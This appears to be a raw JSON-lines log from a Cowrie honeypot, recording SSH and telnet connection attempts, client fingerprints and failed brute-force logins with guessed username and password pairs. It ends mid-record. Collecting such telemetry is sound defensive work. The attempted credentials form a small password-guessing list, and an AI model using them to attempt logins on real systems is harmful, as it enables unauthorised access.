{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:39.110673Z","src_ip":"102.88.137.80","session":"6a5aa483fff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:39.293949Z","src_ip":"102.88.137.80","session":"6a5aa483fff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:40.058530Z","src_ip":"102.88.137.80","session":"6a5aa483fff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:41.243868Z","src_ip":"102.88.137.80","session":"6a5aa483fff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":51802,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba9fc9b7d7f4","protocol":"ssh","message":"New connection: 92.113.145.209:51802 (159.203.135.109:22) [session: ba9fc9b7d7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:41.732064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:41.736689Z","src_ip":"92.113.145.209","session":"ba9fc9b7d7f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:41.860654Z","src_ip":"92.113.145.209","session":"ba9fc9b7d7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab112233","message":"login attempt [root/Ab112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:42.386326Z","src_ip":"92.113.145.209","session":"ba9fc9b7d7f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:43.520402Z","src_ip":"92.113.145.209","session":"ba9fc9b7d7f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":32914,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c1d5703a036","protocol":"ssh","message":"New connection: 160.251.185.39:32914 (10.17.0.5:22) [session: 9c1d5703a036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:44.686470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:44.690517Z","src_ip":"160.251.185.39","session":"9c1d5703a036","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:44.870262Z","src_ip":"160.251.185.39","session":"9c1d5703a036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server123!@#","message":"login attempt [root/Server123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:45.622876Z","src_ip":"160.251.185.39","session":"9c1d5703a036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:46.806070Z","src_ip":"160.251.185.39","session":"9c1d5703a036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.37060832977295,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:54.156433Z","src_ip":"150.136.234.44","session":"17244b437769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":37198,"dst_ip":"10.17.0.5","dst_port":22,"session":"63c6f92783dd","protocol":"ssh","message":"New connection: 76.79.213.69:37198 (10.17.0.5:22) [session: 63c6f92783dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:59.779461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:59.784308Z","src_ip":"76.79.213.69","session":"63c6f92783dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:59.907216Z","src_ip":"76.79.213.69","session":"63c6f92783dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"123123","message":"login attempt [odoo17/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:00.430974Z","src_ip":"76.79.213.69","session":"63c6f92783dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:01.565444Z","src_ip":"76.79.213.69","session":"63c6f92783dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":55732,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6e2fd92b9c8","protocol":"ssh","message":"New connection: 217.168.240.63:55732 (159.203.135.109:22) [session: b6e2fd92b9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:03.659339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:03.663883Z","src_ip":"217.168.240.63","session":"b6e2fd92b9c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:03.796362Z","src_ip":"217.168.240.63","session":"b6e2fd92b9c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte2025","message":"login attempt [soporte/soporte2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:04.343199Z","src_ip":"217.168.240.63","session":"b6e2fd92b9c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:05.474704Z","src_ip":"217.168.240.63","session":"b6e2fd92b9c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52916,"dst_ip":"159.203.135.109","dst_port":22,"session":"febefce2e637","protocol":"ssh","message":"New connection: 27.71.230.31:52916 (159.203.135.109:22) [session: febefce2e637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:08.788678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:08.845227Z","src_ip":"27.71.230.31","session":"febefce2e637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46428,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f423d4a8e96","protocol":"telnet","message":"New connection: 172.81.62.90:46428 (159.203.135.109:23) [session: 4f423d4a8e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:09.945202Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:10.332576Z","src_ip":"27.71.230.31","session":"febefce2e637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AdminRoot!8","message":"login attempt [root/AdminRoot!8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:12.827370Z","src_ip":"27.71.230.31","session":"febefce2e637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:15.223926Z","src_ip":"27.71.230.31","session":"febefce2e637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":40936,"dst_ip":"10.17.0.5","dst_port":22,"session":"a974214a1317","protocol":"ssh","message":"New connection: 5.89.75.194:40936 (10.17.0.5:22) [session: a974214a1317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:27.126901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:27.132076Z","src_ip":"5.89.75.194","session":"a974214a1317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:27.234241Z","src_ip":"5.89.75.194","session":"a974214a1317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":54160,"dst_ip":"159.203.135.109","dst_port":22,"session":"f41131552a9a","protocol":"ssh","message":"New connection: 103.176.20.57:54160 (159.203.135.109:22) [session: f41131552a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:27.460428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:27.466989Z","src_ip":"103.176.20.57","session":"f41131552a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alessio","password":"alessio","message":"login attempt [alessio/alessio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:27.679780Z","src_ip":"5.89.75.194","session":"a974214a1317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:27.714013Z","src_ip":"103.176.20.57","session":"f41131552a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vayna123","message":"login attempt [root/vayna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:28.446370Z","src_ip":"103.176.20.57","session":"f41131552a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:28.785065Z","src_ip":"5.89.75.194","session":"a974214a1317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":33711,"dst_ip":"10.17.0.5","dst_port":22,"session":"61dedc29c964","protocol":"ssh","message":"New connection: 102.88.137.80:33711 (10.17.0.5:22) [session: 61dedc29c964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:29.614148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:29.618552Z","src_ip":"102.88.137.80","session":"61dedc29c964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:29.694427Z","src_ip":"103.176.20.57","session":"f41131552a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","d